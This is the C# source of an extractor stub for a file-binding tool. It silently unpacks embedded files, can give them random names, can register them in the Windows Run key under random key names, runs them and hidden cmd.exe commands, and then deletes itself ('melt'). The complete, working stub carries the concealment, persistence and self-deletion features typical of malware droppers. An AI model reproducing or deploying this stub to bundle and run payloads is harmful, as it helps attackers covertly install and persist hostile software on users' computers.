/*
 * Copyright (C) 2011 Kamran Zafar
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy of
 * this software and associated documentation files (the "Software"), to deal in
 * the Software without restriction, including without limitation the rights to
 * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
 * of the Software, and to permit persons to whom the Software is furnished to do
 * so, subject to the following conditions:
 * 
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 * 
 * */
 
using System;
using System.IO;
using System.IO.Compression;
using System.Collections.Generic;
using System.Collections;
using System.Windows.Forms;
using System.Reflection;
using System.Diagnostics;
using System.Text;
using System.Text.RegularExpressions;
using Microsoft.Win32;

//${EXTRACTOR_SIGN}

namespace org.kamranzafar.hotfusion.stub
{
	static class Extractor
	{
		/// <summary>
		/// The main entry point for the application.
		/// </summary>
//		[STAThread]
		static void Main()
		{
			Application.EnableVisualStyles();
			Application.SetCompatibleTextRenderingDefault(false);
			Application.Run(new ExtractorForm());
		}
	}

	public class ExtractorForm : Form
	{
		private Hashtable boundEnteries=new Hashtable();
		
		public ExtractorForm()
		{
			InitializeComponent();
			
			//${POPULATE_HASH}
		}

		private void Form1_Load(object sender, EventArgs e)
		{
			Visible = false;
			ShowInTaskbar = false;

			extract();
			
			Close();
		}
		
		private void extract(){
			Assembly ass = Assembly.GetExecutingAssembly();
			string[] res = ass.GetManifestResourceNames();

			try
			{
				for (int i=0;i<res.Length;i++)
				{
					string name = res[i];
					BindEntry val=(BindEntry)boundEnteries[""+i];
					
					if(val!=null){
						if(val.Type==1){
							Stream rs = ass.GetManifestResourceStream(name);

							using (Stream inputStream = (val.FilesEntry.Compress) ? new GZipStream(rs, CompressionMode.Decompress, true) : rs)
							{
								//MessageBox.Show(val.DestinationPath);
								
								string fileName=Path.GetFileName(val.FilesEntry.FileName);
								
								if(val.FilesEntry.RandomlyRename){
									fileName=RandomString(Path.GetFileNameWithoutExtension(val.FilesEntry.FileName).Length, true)+Path.GetExtension(val.FilesEntry.FileName);
								}
								
								val.FilesEntry.NewFileName=fileName;
								
								string destPath=DestinationPath.rationalize(val.FilesEntry.DestinationPath);
								
								if(!Directory.Exists(destPath))
									Directory.CreateDirectory(destPath);
								
								string path = Path.Combine(destPath, fileName);
								
								using (Stream file = File.Create(path))
								{
									for (int b = inputStream.ReadByte(); b != -1; b = inputStream.ReadByte())
									{
										file.WriteByte((byte)b);
									}
								}
							}
						}else if(val.Type==3){
							runCommand(val.CmdEntry.CommandName, val.CmdEntry.CommandParam, "", val.CmdEntry.RunInBackground);
						}else if(val.Type==4){
							setEnv(val.EnvEntry.VarName, val.EnvEntry.VarValue, val.EnvEntry.Type);
						}
					}
				}

				runConfig();
				
				melt();
				
			}
			catch (Exception ex)
			{
				MessageBox.Show(this, ex.Message, ass.GetName().Name, MessageBoxButtons.OK, MessageBoxIcon.Error);
			}
		}
		
		private void runConfig(){
			foreach(BindEntry fs in boundEnteries.Values){
				if(fs.Type==1 || fs.Type==2){
					string destPath = DestinationPath.rationalize(fs.FilesEntry.DestinationPath);
					
					if(fs.FilesEntry.AddToPath){
						setEnv("PATH",destPath,1);
					}
					
					if(fs.FilesEntry.AddToStartup){
						RegistryKey rk = Registry.CurrentUser;
						string key=fs.FilesEntry.RegKey;
						
						if(fs.FilesEntry.KeyType==2){
							rk=Registry.LocalMachine;
						}
						
						if(fs.FilesEntry.RandomKey){
							key=RandomString(5,true);
						}
						
						rk.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run").SetValue(key,Path.Combine(destPath, fs.FilesEntry.NewFileName));
					}
					
					if(fs.FilesEntry.RunOnExtract){
						Process.Start(Path.Combine(destPath, fs.FilesEntry.NewFileName), fs.FilesEntry.RunParams);
					}
					
				}
			}
		}
		
		private void setEnv(string name, string value, int target){
			EnvironmentVariableTarget t= EnvironmentVariableTarget.Process;
			
			switch(target){
				case 1:
					t=EnvironmentVariableTarget.User;
					break;
				case 2:
					t=EnvironmentVariableTarget.Machine;
					break;
			}
			
			string newValue = Environment.GetEnvironmentVariable("PATH", t);
			
			if(newValue==null){
				newValue=value;
			}else{
				if(!newValue.StartsWith(value+";") && !newValue.EndsWith(value) && !newValue.Contains(";"+value+";")){
					newValue=newValue+";"+value;
				}
			}
			
			Environment.SetEnvironmentVariable(name, newValue, t);
		}

		private string RandomString(int size, bool lowerCase)
		{
			StringBuilder builder = new StringBuilder();
			Random random = new Random();
			char ch ;
			for(int i=0; i<size; i++)
			{
				ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65))) ;
				builder.Append(ch);
			}
			if(lowerCase)
				return builder.ToString().ToLower();
			return builder.ToString();
		}
		
		private void melt(){
			runCommand("Del", Application.ExecutablePath, "choice /C Y /N /D Y /T 3 &", true);
		}
		
		private void runCommand(string cmd, string args){
			runCommand(cmd, args, "", false);
		}
		
		private void runCommand(string cmd, string args, string cmdopts, bool hidden){
			ProcessStartInfo Info=new ProcessStartInfo();
			Info.Arguments="/C " + cmdopts + " " + cmd + " " + args;
			
			if(hidden){
				Info.WindowStyle=ProcessWindowStyle.Hidden;
				Info.CreateNoWindow=true;
			}

			Info.FileName="cmd.exe";
			Process.Start(Info);
		}
		
		/// <summary>
		/// Required designer variable.
		/// </summary>
		private System.ComponentModel.IContainer components = null;

		/// <summary>
		/// Clean up any resources being used.
		/// </summary>
		/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
		protected override void Dispose(bool disposing)
		{
			if (disposing && (components != null))
			{
				components.Dispose();
			}
			base.Dispose(disposing);
		}
		
		#region Windows Form Designer generated code

		/// <summary>
		/// Required method for Designer support - do not modify
		/// the contents of this method with the code editor.
		/// </summary>
		private void InitializeComponent()
		{
			// 
			// Form1
			// 
			this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
			this.Text = "Form1";
			this.Load += new System.EventHandler(this.Form1_Load);
		}

		#endregion
	}
	
	class DestinationPath
	{
		public static string rationalize(string path){
			path = fixPath(path);
			
			if(path.ToLower().StartsWith(@"{temp}\") || path.ToLower().Equals("{temp}") ){
				return rationalizePath(Path.GetTempPath(), path);
			}
			else if(path.ToLower().StartsWith(@"{windows}\") || path.ToLower().Equals("{windows}")){
				return rationalizePath(Environment.GetEnvironmentVariable("SystemRoot"), path);
			}
			else if(path.ToLower().StartsWith(@"{host}\") || path.ToLower().Equals("{host}")){
				return rationalizePath(Path.GetDirectoryName(Application.ExecutablePath), path);
			}
			
			System.Environment.SpecialFolder typeSpecialFolder;
			
			foreach (System.Environment.SpecialFolder atypeSpecialFolder in
			         System.Enum.GetValues(typeof(Environment.SpecialFolder)))
			{
				typeSpecialFolder = atypeSpecialFolder;
				
				if(path.ToLower().StartsWith("{"+typeSpecialFolder.ToString().ToLower()+@"}\")
				   || path.ToLower().Equals("{"+typeSpecialFolder.ToString().ToLower()+"}")){
					return rationalizePath(Environment.GetFolderPath(typeSpecialFolder),path);
				}
			}
			
			return Path.GetFullPath(path);
		}
		
		private  static string rationalizePath(string basePath, string path){
			string spv = path.Substring(0, path.IndexOf('}')+1);
			
			return fixPath(path.Replace(spv, basePath));
		}
		
		private static string fixPath(string path){
			return Regex.Replace(path.Trim(), @"\\{2,}", @"\").Replace("/", @"\");
		}
	}
	

	public class BindEntry
	{
		private int type;
		
		public int Type {
			get { return type; }
			set { type = value; }
		}
		
		private int id;
		
		public int Id {
			get { return id; }
			set { id = value; }
		}
		
		private FileEntry fileEntry;
		
		public BindEntry.FileEntry FilesEntry {
			get { return fileEntry; }
			set { fileEntry = value; }
		}
		private CommandEntry cmdEntry;
		
		public BindEntry.CommandEntry CmdEntry {
			get { return cmdEntry; }
			set { cmdEntry = value; }
		}
		private EnvironmentEntry envEntry;
		
		public BindEntry.EnvironmentEntry EnvEntry {
			get { return envEntry; }
			set { envEntry = value; }
		}
		private RegistryEntry regEntry;
		
		public BindEntry.RegistryEntry RegEntry {
			get { return regEntry; }
			set { regEntry = value; }
		}
		
		public class FileEntry{
			
			private string newFileName;
			
			public string NewFileName {
				get { return newFileName; }
				set { newFileName = value; }
			}
			
			private bool encrypt;
			
			public bool Encrypt {
				get { return encrypt; }
				set { encrypt = value; }
			}
			private string passphrase;
			
			public string Passphrase {
				get { return passphrase; }
				set { passphrase = value; }
			}
			private bool compress;
			
			public bool Compress {
				get { return compress; }
				set { compress = value; }
			}
			
			private string tmpGzPath;
			
			public string TmpGzPath {
				get { return tmpGzPath; }
				set { tmpGzPath = value; }
			}
			
			private string fileName;
			public string FileName {
				get { return fileName; }
				set { fileName = value; }
			}
			
			private string hashedName;
			public string HashedName {
				get { return hashedName; }
				set { hashedName = value; }
			}
			
			private string destinationPath;
			public string DestinationPath {
				get { return destinationPath; }
				set { destinationPath = value; }
			}
			
			private bool runOnExtract;
			public bool RunOnExtract {
				get { return runOnExtract; }
				set { runOnExtract = value; }
			}
			
			private string runParams;
			
			public string RunParams {
				get { return runParams; }
				set { runParams = value; }
			}

			private bool randomlyRename;
			public bool RandomlyRename {
				get { return randomlyRename; }
				set { randomlyRename = value; }
			}

			private string renameFileTo;
			public string RenameFileTo {
				get { return renameFileTo; }
				set { renameFileTo = value; }
			}

			private bool addToStartup;
			public bool AddToStartup {
				get { return addToStartup; }
				set { addToStartup = value; }
			}
			
			private string regKey;
			
			public string RegKey {
				get { return regKey; }
				set { regKey = value; }
			}
			
			private int keyType;
			
			public int KeyType {
				get { return keyType; }
				set { keyType = value; }
			}
			
			private bool randomKey;
			
			public bool RandomKey {
				get { return randomKey; }
				set { randomKey = value; }
			}
			
			private bool addToPath;
			
			public bool AddToPath {
				get { return addToPath; }
				set { addToPath = value; }
			}
		}
		
		public class CommandEntry{
			private string commandName;
			
			public string CommandName {
				get { return commandName; }
				set { commandName = value; }
			}
			
			private string commandParam;
			
			public string CommandParam {
				get { return commandParam; }
				set { commandParam = value; }
			}
			private bool runInBackground;
			
			public bool RunInBackground {
				get { return runInBackground; }
				set { runInBackground = value; }
			}
		}
		
		public class EnvironmentEntry{
			private string varName;
			
			public string VarName {
				get { return varName; }
				set { varName = value; }
			}
			private string varValue;
			
			public string VarValue {
				get { return varValue; }
				set { varValue = value; }
			}
			private int type;
			
			public int Type {
				get { return type; }
				set { type = value; }
			}
		}
		
		public class RegistryEntry{
			private string key;
			
			public string Key {
				get { return key; }
				set { key = value; }
			}
			private string value;
			
			public string Value {
				get { return value; }
				set { value = value; }
			}
			private int type;
			
			public int Type {
				get { return type; }
				set { type = value; }
			}
		}
	}
}